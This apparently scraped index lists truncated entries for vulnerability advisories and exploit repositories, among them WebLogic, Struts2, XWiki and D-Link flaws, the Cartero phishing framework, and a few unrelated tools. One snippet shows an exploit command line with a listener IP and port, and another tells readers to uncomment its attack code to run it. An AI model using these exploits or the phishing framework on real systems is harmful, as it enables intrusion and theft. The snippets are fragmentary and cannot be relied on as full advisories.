CVE-2026-94037

CVE-2026-94037 affects the mcp-file-analyzer project (by 00Kisumi00) up to commit 84740852 . The vulnerability is a path traversal in the ControlFlowNode function within main.py , part of the analyze_csv_data MCP tool. An attacker can manipulate the filename argument to traverse beyond the intend...

CVE-2026-94037 00Kisumi00 mcp-file-analyzer analyze_csv_data MCP tool main.py ControlFlowNode path traversal

A weakness has been identified in 00Kisumi00 mcp-file-analyzer up to 84740852f0cf0cf5db4781b1ca6d7c6a6d210405. This affects the function ControlFlowNode of the file main.py of the component analyzecsvdata MCP tool. This manipulation of the argument filename causes path traversal. Remote...

Cartero

Cartero URL http://section9labs.github.io/Cartero/ Description A robust Phishing Framework with a full featured CLI interface. The project was born out necessity through of years of engagements with tools that just didn't do the job. Even though there are many projects out there, we were not able...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat Component Deserialization Vulnerability CVE-2017-10271 Detection and Exploitation Script Usage root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Features Standalone Python script Check functionality to see if any hos...

CVE-2025-46157

CVE-2025-46157 CVE-2025-46157 – Timetrax V1 2025 Remote Code Execution and Privilege Escalation Summary A critical vulnerability was discovered in Timetrax V1 2025 that allows authenticated users to bypass file upload restrictions and achieve remote code execution RCE. The issue exists in the Lea...

CVE-2018-2628-MultiThreading

WebLogic WLS Core Component Deserialization Vulnerability CVE-2018-2628 Usage: Place the 'ip:port' to be detected into the url.txt file in the same directory. Then run: Modify the thread count at line 93 of code python CVE-2018-2628-MultiThreading.py Usage: Place the 'ip:port' to be detected into...

CVE-2018-1263-Demo

Exploit Demo This guide will help you to install vulnerable component and perform the attack related to phpMyAdmin bug mentioned in CVE-2018-1263. Description of CVE Why does the vulnerability exist How does the attack work How to install vulnerable component How to perform the attack Description...

sandbox-runtime

Anthropic Sandbox Runtime srt コンテナを必要とせず、OSレベルで任意のプロセスにファイルシステムとネットワークの制限を適用するための軽量サンドボックスツールです。 srt はネイティブOSのサンドボックスプリミティブ（macOSでは sandbox-exec、Linuxでは bubblewrap）とプロキシベースのネットワークフィルタリングを使用します。エージェント、ローカルMCPサーバー、bashコマンド、および任意のプロセスの動作をサンドボックス化するために使用できます。 ベータリサーチプレビュー Sandbox...

CVE-2025-29015

CVE-2025-29015 - Internet Banking System 2.0.0 Stored XSS in pagesaccount.php Description A Stored Cross-Site Scripting XSS vulnerability exists in Code Astro Internet Banking System 2.0.0 via the name parameter in /admin/pagesaccount.php. Malicious JavaScript code can be injected and stored in t...

CVE-2025-46018-CSC-Pay-Mobile-App-Payment-Authentication-Bypass

CVE-2025-46018 – CSC Pay Mobile App Payment Authentication Bypass Summary A payment authentication bypass vulnerability was discovered in the CSC Pay Mobile App, affecting version 2.19.4. The flaw allowed an attacker to initiate a payment, disable Bluetooth at a specific point in the process, and...

react2shell-CVE-2025-55182

Attack component contains the attack code. Just uncomment it and press the button to pefrom attach. To run your own code on server exploit simply change the value of prefix key in the payload. See the AttackString file for examples...

CVE-2026-94036

D-Link DIR-X1860 and DIR-X1860Z routers (up to version 1.0.2.220120.165402) are affected by an improper access control flaw in the /ubus file of the routerd component. Manipulation of the passwd_set argument allows an attacker on the local network to bypass access controls, with no authentication...

CVE-2026-94036 D-Link DIR-X1860/DIR-X1860Z routerd ubus access control

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

EUVD-2026-83752

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

CVE-2025-66954

CVE-2025-66954 – Buffalo LinkStation Username Enumeration via IDOR Summary A vulnerability in Buffalo LinkStation firmware version 1.85-0.01 allows unauthenticated or guest-level users to enumerate valid usernames and their associated privilege roles. The issue arises due to improper access contr...

PoC-CVE-2017-5638

PoC: Apache Struts2 CVE-2017-5638 Safe Educational Demo 📌 Overview This project is a Proof-of-Concept PoC for CVE-2017-5638 , a famous Apache Struts2 vulnerability that allowed attackers to execute arbitrary code on affected servers. ⚠️ This repository contains a safe, non-exploitative demo...

CVE-2025-24893

XWiki SSTI Exploit A Python exploit for XWiki Server-Side Template Injection SSTI vulnerability via Groovy template injection in the SolrSearch endpoint. Vulnerability Type : Server-Side Template Injection SSTI Component : XWiki SolrSearch RSS feed Impact : Remote Code Execution Affected Version ...

isslfix

iOS : iSSLFix: Certificate in chain starting at has isCA=0 = possible MITM attempt, making valida...

CVE-2019-13633

CVE-2019-13633 Suggested description : Blinger.io v.1.0.2519 is vulnerable to Blind/Persistent XSS. Additional Information : Blinger.io - is a platform which used by global clients such as FxPro, Alfa Bank, OneTwoTrip, Ivi, KupiVIP Group, Belavia, Wargaming, Yandex, OZON, TCS Group Holding and...

WP-CVE-2016-10033

WordPress = 4.6 Remote Command Execution Vulnerability PHPMailer CVE-2016-10033 Vulnerability Information WordPress is a blogging platform developed using the PHP language. Users can set up their own websites on servers supporting PHP and MySQL databases. It can also be used as a Content Manageme...